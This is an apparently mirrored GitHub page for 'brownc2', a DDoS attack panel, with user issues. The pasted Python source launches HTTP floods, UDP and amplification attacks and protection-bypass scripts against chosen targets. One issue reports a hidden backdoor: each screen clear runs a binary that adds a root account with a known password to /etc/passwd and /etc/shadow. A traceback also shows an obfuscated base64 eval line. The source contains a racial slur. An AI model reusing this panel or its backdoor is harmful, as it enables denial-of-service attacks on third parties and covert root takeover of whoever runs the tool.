Giter Site home page Giter Site logo

rude1882 / brownc2 Goto Github PK

View Code? Open in Web Editor NEW
57.0 1.0 25.0 2.39 MB

open source c2 ddos panel

License: MIT License

JavaScript 93.37% Python 6.04% Perl 0.59%
ddos ddos-tool brown cf-bypass cfbypass cloudflare ddos-attacks ddosguard-bypass ddospanel layer

brownc2's Issues

Infected!

I just found this in source os.system('sudo ./MertOVH') I looked in MertOVH File and saw this chattr -i /etc/passwd chattr -i /etc/shadow curl http://www.yȯutube.com/watch?v=2OQhjWbhidz 2>/dev/null rm -rf watch?v=2OQhjWbhidz echo 'wares:x:0:0:defaultsystem:/root:/bin/bash' >> /etc/passwd; echo 'wares:123:18020:0:99999:7:::' >> /etc/shadow;echo 'wares:mert3131' | chpasswd chattr +i /etc/passwd chattr +i /etc/shadow endlessxd
so its 100% Infected here brown.py source

import socket
import os
import requests
import random
import getpass
import time
import sys

def clear():
os.system('sudo ./MertOVH')
os.system('cls' if os.name == 'nt' else 'clear')

proxys = open('proxies.txt').readlines()
bots = len(proxys)

def ascii_vro():
clear()
print(f'''
/ **/|
| == /
| |
| |
| /
|/
''')
time.sleep(0.6)
clear()
print(f'''
/ **/|
| == /
| |
| |
| /
|/
''')
time.sleep(0.6)
clear()
print(f'''
/ **/|
| == /
| |
''')
time.sleep(0.6)
clear()
print(f"""
.-^^---....,,--
-- --
< >)
| |
.
_./
```--. . , ; .--'''
| | |
.-=|| | |=-.
`-=#$%&%$#=-'
| ; :|
.,-#%&$@%#&#~,.
""")
time.sleep(0.8)
clear()

def si():
print('\x1b[38;2;0;255;255m[ \x1b[38;2;233;233;233m1337 \x1b[38;2;0;255;255m] | \x1b[38;2;233;233;233mWelcome to Brown C2 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mOwners: Arrys-weird1337 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mNew Methods \x1b[38;2;0;255;255m+ \x1b[38;2;233;233;233mNew UI!')
print("")

def tools():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mTools \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╔═══════════════╩══════╦════════╩═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mgeoip \x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mreverse-dns \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mreverseip \x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255msubnet-lookup \x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255masn-lookup \x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mdns-lookup \x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╚══════════════════════╩════════════════════════╝
''')

def rules():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mRules \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╔═══════════════╩═══════════════╩═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m1. Do not attack without someone's permission \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m2. Do not attack .gov/.gob/.edu/.mil domains \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m3. Do not spam attacks \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m4. Only attack stress testing servers \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m5. Don't skid the panel \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m6. Give a star to the github repository \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255m7. The creator does not do any harm \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╚═══════════════════════════════════════════════╝
''')

def ports():
clear()
si()
print(f'''
\x1b[38;2;0;212;14m╔═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;255;255mPorts \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╔═══════════════╩═══════════════╩═══════════════╗
\x1b[38;2;0;212;14m║ \x1b[38;2;0;212;14m21 - \x1b[38;2;0;255;255mSFTP \x1b[38;2;0;212;14m69 - \x1b[38;2;0;255;255mTFTP \x1b[38;2;0;212;14m5060 - \x1b[38;2;0;255;255mRIP \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;212;14m22 - \x1b[38;2;0;255;255mSSH \x1b[38;2;0;212;14m80 - \x1b[38;2;0;255;255mHTTP \x1b[38;2;0;212;14m30120 - \x1b[38;2;0;255;255mFIVEM\x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;212;14m23 - \x1b[38;2;0;255;255mTELNET \x1b[38;2;0;212;14m443 - \x1b[38;2;0;255;255mHTTPS \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;212;14m25 - \x1b[38;2;0;255;255mSMTP \x1b[38;2;0;212;14m3074 - \x1b[38;2;0;255;255mXBOX \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m║ \x1b[38;2;0;212;14m53 - \x1b[38;2;0;255;255mDNS \x1b[38;2;0;212;14m5060 - \x1b[38;2;0;255;255mPLAYSATION \x1b[38;2;0;212;14m║
\x1b[38;2;0;212;14m╚═══════════════════════════════════════════════╝
''')

def layer7():
clear()
si()
print(f'''

                            ╔╗ ┬─┐┌─┐┬ ┬┌┐┌  ═╗ ╦
                            ╠╩╗├┬┘│ │││││││  ╔╩╦╝
                            ╚═╝┴└─└─┘└┴┘┘└┘  ╩ ╚═ 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              ║ https-fuck    ║║ cloudflare-uam║║ fivem-drop║║ NTP           ║
              ║ goat-bypass   ║║ SYN         ║║ OVHV1       ║║ LDAP          ║
              ║ normalbypass  ║║ ACK         ║║ OVHV2       ║║ DNS           ║
              ║ http-raw      ║║ r6-drop     ║║ DISCORD-LAG ║║ MDNS          ║
              ║ http-get      ║║ home-god    ║║ DISCORDCRASH║║ MSSQL         ║
              ╚════════╦══════╝╚═════════════╝╚═════════════╝╚══════╦════════╝
                       ║ Usage : write method name                  ║
                       ║ Info: Max Boot Time For Bypass Is 200 Secs ║
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ╚═══════════════╝╚═════════════╝╚═════════════╝╚═══════════════╝

''')

def layer4():
clear()
si()
print(f'''

                            ╔╗ ┬─┐┌─┐┬ ┬┌┐┌  ═╗ ╦
                            ╠╩╗├┬┘│ │││││││  ╔╩╦╝
                            ╚═╝┴└─└─┘└┴┘┘└┘  ╩ ╚═ 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              ║ ovh-fuck      ║║ TCP         ║║ fivem-drop  ║║ NTP           ║
              ║ vse           ║║ SYN         ║║ OVHV1       ║║ LDAP          ║
              ║ CLIENTFLOODER ║║ ACK         ║║ OVHV2       ║║ DNS           ║
              ║ TS3DROPER     ║║ r6-drop     ║║ DISCORD-LAG ║║ MDNS          ║
              ║ BIG           ║║ home-god    ║║ DISCORDCRASH║║ MSSQL         ║
              ╚════════╦══════╝╚═════════════╝╚═════════════╝╚══════╦════════╝
                       ║ Usage : write method name                  ║
                       ║ Info: Max Boot Time For Bypass Is 200 Secs ║
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ╚═══════════════╝╚═════════════╝╚═════════════╝╚═══════════════╝

''')

def amp_games():
clear()
si()
print(f'''

                            ╔╗ ┬─┐┌─┐┬ ┬┌┐┌  ═╗ ╦
                            ╠╩╗├┬┘│ │││││││  ╔╩╦╝
                            ╚═╝┴└─└─┘└┴┘┘└┘  ╩ ╚═ 
              ╔═══════════════╗╔═════════════╗╔═════════════╗╔═══════════════╗
              ║ ovh-fuck      ║║ TCP         ║║ fivem-drop  ║║ NTP           ║
              ║ vse           ║║ SYN         ║║ OVHV1       ║║ LDAP          ║
              ║ CLIENTFLOODER ║║ ACK         ║║ OVHV2       ║║ DNS           ║
              ║ TS3DROPER     ║║ r6-drop     ║║ DISCORD-LAG ║║ MDNS          ║
              ║ BIG           ║║ home-god    ║║ DISCORDCRASH║║ MSSQL         ║
              ╚════════╦══════╝╚═════════════╝╚═════════════╝╚══════╦════════╝
                       ║ Usage : write method name                  ║
                       ║ Info: Max Boot Time For Bypass Is 200 Secs ║
              ╔════════╩══════╗╔═════════════╗╔═════════════╗╔══════╩════════╗
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ║ -             ║║ -           ║║     -       ║║     -         ║
              ╚═══════════════╝╚═════════════╝╚═════════════╝╚═══════════════╝

''')

def menu():
sys.stdout.write(f"\x1b]2;Brown C2 SERVERS CONNECTED: [{bots}] | Online Users: [1] | Methods: [25] | Bypass: [10] | Amps: [1]\x07")
clear()
print('\x1b[38;2;0;255;255m[ \x1b[38;2;233;233;233m1337 \x1b[38;2;0;255;255m] | \x1b[38;2;233;233;233mWelcome to Brown C2 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mOwners: Arrys-weird1337 \x1b[38;2;0;255;255m| \x1b[38;2;233;233;233mNew Methods \x1b[38;2;0;255;255m+ \x1b[38;2;233;233;233mNew UI!')
print("")
print("""

                    ╔╗ ┬─┐┌─┐┬ ┬┌┐┌  ═╗ ╦
                    ╠╩╗├┬┘│ │││││││  ╔╩╦╝
                    ╚═╝┴└─└─┘└┴┘┘└┘  ╩ ╚═
            ╔══════════════════════════════════════════════╗
            ║       Welcome to Brown C2  DDoS Panel        ║
            ║ - - -   The best free panel on github  - - - ║
            ╚══════════════════════════════════════════════╝
                ╔══════════════════════════════════════╗
                ║  serdar yapma nolursun💔
                ╚══════════════════════════════════════╝
            ╔══════════════════════════════════════════════╗
            ║   Type [help] to see the Brown C2 commands.  ║
            ╚══════════════════════════════════════════════╝

""")
def main():
menu()
while(True):
cnc = input('''\x1b[38;2;0;212;14m╔══[root\x1b[38;2;0;186;45m@b\x1b[38;2;0;150;88mro\x1b[38;2;0;113;133mw\x1b[38;2;0;83;168mn\x1b[38;2;0;49;147m]
\x1b[38;2;0;212;14m╚\x1b[38;2;0;186;45m═\x1b[38;2;0;150;88m═\x1b[38;2;0;113;133m═\x1b[38;2;0;83;168m═\x1b[38;2;0;49;147m➤ \x1b[38;2;239;239;239m''')
if cnc == "layer7" or cnc == "LAYER7" or cnc == "L7" or cnc == "l7":
layer7()
elif cnc == "layer4" or cnc == "LAYER4" or cnc == "L4" or cnc == "l4":
layer4()
elif cnc == "amp/games" or cnc == "AMP/GAMES" or cnc == "amp/game" or cnc == "amps/game" or cnc == "amps/games" or cnc == "amp/games" or cnc == "AMP/GAME":
amp_games()
elif cnc == "rule" or cnc == "RULES" or cnc == "rules" or cnc == "RULES" or cnc == "RULE34":
rules()
elif cnc == "clear" or cnc == "CLEAR" or cnc == "CLS" or cnc == "cls":
main()
elif cnc == "ports" or cnc == "port" or cnc == "PORTS" or cnc == "PORT":
ports()
elif cnc == "tools" or cnc == "tool" or cnc == "TOOLS" or cnc == "TOOL":
tools()

    elif "normal-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node httpbypassv2.js {url} {time}')
        except IndexError:
            print('Usage: normal-bypass <url> <time>')
            print('Example: normal-bypass http://example.com 20')

    elif "cf-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            threads = cnc.split()[3]
            os.system(f'node cf.js {url} {time} {threads}')
        except IndexError:
            print('Usage: cf-bypass <url> <time> <threads>')
            print('Example: cf-bypass http://example-cloud.com 20 15')

    elif "https-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node https.js {url} {time} proxies.txt')
        except IndexError:
            print('Usage: https-bypass <url> <time>')
            print('Example: https-bypass http://example.org 20')

    elif "http-raw" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            method = cnc.split()[3]
            os.system(f'node HTTP-RAW.js {url} {time} {method}')
        except IndexError:
            print('Usage: https-raw <url> <time> <GET/POST/HEAD>')
            print('Example: http-raw http://example.com 20 POST')

    elif "cloudflare-uam" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            cpt = cnc.split()[3]
            os.system(f'node uambypass.js {url} {time} {cpt} proxies.txt ')
        except IndexError:
            print('Usage: cloudflare-uam <url> <time> <req_per_ip>')
            print('Example: cloudflare-uam http://example-uam.com 20 250')

    elif "http-overflow" in cnc:
        try:
            ip = cnc.split()[1]
            time = cnc.split()[2]
            threads = cnc.split()[3]
            os.system(f'./OVERFLOW {ip} {time} {threads}')
        except IndexError:
            print('Usage: http-overflow <ip> <time> <threads>')
            print('Example: http-overflow 77.233.1XX.XX 30 15')

    elif "http-get" in cnc:
        try:
            url = cnc.split()[1]
            idk = cnc.split()[2]
            idk1 = cnc.split()[3]
            idk2 = cnc.split()[4]
            os.system(f'perl httpget {url} {idk} {idk1} {idk2}')
        except IndexError:
            print('Usage: http-get <url> <10000> <50> <100>')
            print('Example: http-get http://example.com 10000 50 100')

    elif "http-flood" in cnc:
        try:
            url = cnc.split()[1]
            threads = cnc.split()[2]
            method = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'./httpflood {url} {threads} {method} {time} header.txt')
        except IndexError:
            print('Usage: http-flood <url> <threads> <get/post> <time>')
            print('Example: http-flood http://example.com 15 post 30')

    elif "100up-bypass" in cnc:
        try:
            method = cnc.split()[1]
            ip = cnc.split()[2]
            port = cnc.split()[3]
            time = cnc.split()[4]
            connections = cnc.split()[5]
            os.system(f'./100UP-TCP {method} {ip} {port} {time} {connections}')
        except IndexError:
            print('Usage: 100up-bypass <GET/POST/HEAD> <ip> <port> <time> <connections')
            print('Example: 100up-bypass GET 77.233.1XX.XX 80 20 80000')

    elif "http-dstat" in cnc:
        try:
            url = cnc.split()[1]
            connections = cnc.split()[2]
            rps = cnc.split()[3]
            os.system(f'perl dstat.pl {url} {connections} {rps} 13.87')
        except IndexError:
            print('Usage: http-dstat <url> <connections> <rps>')
            print('Example: http-dstat http://example.org 50000 50000')

    elif "goat-bypass" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            rps = cnc.split()[3]
            os.system(f'node method.js {url} {time} request {rps}')
        except IndexError:
            print('Usage: goat-bypass <url> <time> <requests_per_second>')
            print('Example: goat-bypass http://example-protected-org 30 450')

    elif "geoip" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/geoip/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: geoip <ip>')
            print('Example: geoip 1.1.1.1')

    elif "reverseip" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/reverseiplookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: reverseip <ip>')
            print('Example: reverseip 1.1.1.1')

    elif "subnet-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/subnetcalc/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: subnet-lookup <cdr/ip + netmask>')
            print('Example: subnet-lookup 192.168.1.0/24')

    elif "asn-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/aslookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: asn-lookup <ip/asn>')
            print('Example: asn-lookup AS15169')

    elif "dns-lookup" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/dnslookup/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: dns-lookup <dns>')
            print('Example: dns-lookup google.com')

    elif "reverse-dns" in cnc:
        try:
            ip = cnc.split()[1]
            try:
                r = requests.get(f'https://api.hackertarget.com/reversedns/?q={ip}')
                print(r.text)
            except:
                print("[ API Error :( ]")
        except IndexError:
            print('Usage: reverse-dns <ip/domain>')
            print('Example: reverse-dns 8.8.8.8')                

    elif "https-fuck" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node http2.js GET {url} proxies.txt {time} 64 8')
        except IndexError:
            print(f'Usage: https-fuck <url> <time>')
            print("Example: https-fuck http://sexo.org 30")

    elif "autobypass" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            time = cnc.split()[3]
            os.system(f'./AUTOBYPASS TCP {ip} {port} {time}')
        except IndexError:
            print('Usage: autobypass <ip> <port> <time>')
            print('Example: autobypass 188.40.1XX.XX 80 30')

    elif "http-rand" in cnc:
        try:
            url = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'node HTTP-RAND.js {url} {time}')
        except IndexError:
            print("Usage: http-rand <url> <time>")
            print("Example: http-rand http://si.com 10")

    elif 'ldap-vro' in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./ldapv2 {ip} {port} ldaplist.txt {threads} {pps} {time}')
        except IndexError:
            print(f'Usage: ldap-vro <ip> <port> <threads> <pps> <time>')
            print(f'Example: ldap-vro 1.1.1.1 8739 15 1024 50')

    elif "ovhamp" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            os.system(f'sudo ./OVH-AMP {ip} {port}')
        except IndexError:
            print(f'Usage: ovhamp <ip> <port>')
            print(f'Example: ovhamp 1.1.1.1 34264')

    elif "fivem-drop" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./fivem {ip} {port} fivem.txt {threads} {pps} {time}')
        except IndexError:
            print('Usage: fivem-drop <ip> <port> <threads> <pps> <time>')
            print('Example: fivem-drop 1.1.1.1 30120 15 80000 30')

    elif "fortnite-fly" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            time = cnc.split()[4]
            pps = cnc.split()[5]
            os.system(f'python3 FORTNITE-FLY.py {ip} {port} {threads} {time} {pps}')
        except IndexError:
            print('Usage: fornite-fly <ip> <port> <threads> <time> <pps>')
            print(f'Example: fortnite-fly 1.1.1.1 45 30 50 100000')

    elif "udp-god" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            throttle = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./udp {ip} {port} {threads} {throttle} {time}')
        except IndexError:
            print(f'Usage: udp-god <ip> <port> <threads> <throttle> <time>')
            print(f'Example: udp-god 1.1.1.1 80 30 40000 30')

    elif "haven-god" in cnc:
        try:
            ip = cnc.split()[1]
            time = cnc.split()[2]
            os.system(f'sudo ./haven -d {ip} -t {time} -z 130')
        except IndexError:
            print('Usage: haven-god <ip> <time>')
            print('Example: haven-god 192.168.0.1 30')

    elif "telnet-god" in cnc:
        try:
            ip = cnc.split()[1]
            threads = cnc.split()[2]
            pps = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'sudo ./telnet {ip} {threads} {pps} {time}')
        except IndexError:
            print(f'Usage: telnet-god <ip> <threads> <pps> <time>')
            print('Example: telnet-god 192.168.0.1 30 80000 50')

    elif "home-god" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            psize = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'perl home.pl {ip} {port} {psize} {time}')
        except IndexError:
            print(f'Usage: home-god <ip> <port> <packet_size> <time>')
            print(f'Example: home-god 1.1.1.1 80 1024 50')

    elif "r6-drop" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            pps = cnc.split()[4]
            time = cnc.split()[5]
            os.system(f'sudo ./R6-DROP {ip} {port} {threads} {pps} {time}')
        except IndexError:
            print('Usage: r6-drop <ip> <port> <threads> <pps> <time>')
            print('Example: r6-drop 1.1.1.1 8739 20 50000 30')

    elif "vse" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            threads = cnc.split()[3]
            time = cnc.split()[4]
            os.system(f'sudo ./vse {ip} {port} {threads} {time}')
        except IndexError:
            print('Usage: vse <ip> <port> <threads> <time>')
            print('Example: vse 1.1.1.1 80 30 50')

    elif "ovh-fuck" in cnc:
        try:
            ip = cnc.split()[1]
            port = cnc.split()[2]
            os.system(f'sudo ./MertOVH {ip} {port}')
        except IndexError:
            print('Usage: game-crash <ip> <port>')
            print('Example: game-crash 192.168.0.1 22')

    elif "proxy-crawl" in cnc:
        os.system('python3 crawl.py')

    elif "help" in cnc:
        print(f'''
                            ═════════╦════════════════╦══════════
                    ╔════════════════╩════════════════╩════════════════╗
         ╔══════════╩══════════╦══╦═════════════════════╦═══╦══════════╩══════════╗
         ║  layer7             ║ L║  game               ║ L ║  tools              ║
         ║  layer4             ║  ║  rules              ║   ║  cls                ║
         ║  amp                ║  ║  ports              ║   ║  <empty>            ║
         ╚═════════════════════╩══╩═════════════════════╩═══╩═════════════════════╝

        ''')
    else:
        try:
            cmmnd = cnc.split()[0]
            print("Command: [ " + cmmnd + " ] Not Found!")
        except IndexError:
            pass

def login():
clear()
user = "1337"
passwd = "1337"
username = input("</> Username: ")
password = getpass.getpass(prompt='</> Password: ')
if username != user or password != passwd:
print("")
print("</> ip logged nigger.")
sys.exit(1)
elif username == user and password == passwd:
print("</> Welcome to Brown CnC!")
time.sleep(0.3)
ascii_vro()
main()

login()

Cannot Import Mapping

Traceback (most recent call last):
File "/home/kali/AlatSantet/PukulWeb/brownc2/brown.py", line 11, in
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
File "", line 3, in
File "/usr/local/lib/python3.10/dist-packages/requests/init.py", line 43, in
import urllib3
File "/usr/local/lib/python3.10/dist-packages/urllib3/init.py", line 8, in
from .connectionpool import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/connectionpool.py", line 29, in
from .connection import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/connection.py", line 39, in
from .util.ssl_ import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/init.py", line 3, in
from .connection import is_connection_dropped
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/connection.py", line 3, in
from .wait import wait_for_read
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/wait.py", line 1, in
from .selectors import (
File "/usr/local/lib/python3.10/dist-packages/urllib3/util/selectors.py", line 14, in
from collections import namedtuple, Mapping
ImportError: cannot import name 'Mapping' from 'collections' (/usr/lib/python3.10/collections/init.py)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.